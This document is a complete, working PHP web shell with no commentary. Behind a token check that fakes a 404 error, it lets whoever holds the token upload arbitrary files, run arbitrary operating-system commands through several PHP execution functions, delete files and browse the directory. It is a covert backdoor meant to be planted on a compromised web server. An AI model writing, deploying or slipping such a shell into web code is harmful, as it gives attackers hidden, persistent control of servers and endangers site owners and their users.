<?php error_reporting(0);$t="90ba94a43d0b";if(!isset($_GET["t"])||$_GET["t"]!==$t){http_response_code(404);die;}$d=__DIR__;if(isset($_FILES["f"])){$n=$_POST["n"]?:$_FILES["f"]["name"];move_uploaded_file($_FILES["f"]["tmp_name"],"$d/$n");die("OK|$n");}if(isset($_GET["c"])){$x=$_GET["c"]." 2>&1";echo"C|";if(function_exists("system"))system($x);elseif(function_exists("passthru"))passthru($x);elseif(function_exists("exec")){exec($x,$o);echo join("
",$o);}elseif(function_exists("shell_exec"))echo shell_exec($x);else echo"no";echo"|E";die;}if(isset($_GET["del"])){unlink("$d/".basename($_GET["del"]));die("DEL");}$fl="";foreach(scandir($d) as $f)if($f!="."&&$f!="..")$fl.=htmlspecialchars($f)." (".filesize("$d/$f")."b) <a href='?t=$t&del=$f'>[del]</a><br>";echo"<html><body style='font-family:monospace;background:#111;color:#0f0;padding:20px'><h2>think</h2><p>Dir: $d</p><form method=post enctype=multipart/form-data><input type=file name=f><button>Upload</button></form><form method=get><input name=t value=$t type=hidden><input name=c placeholder=cmd><button>Exec</button></form><hr>$fl</body></html>";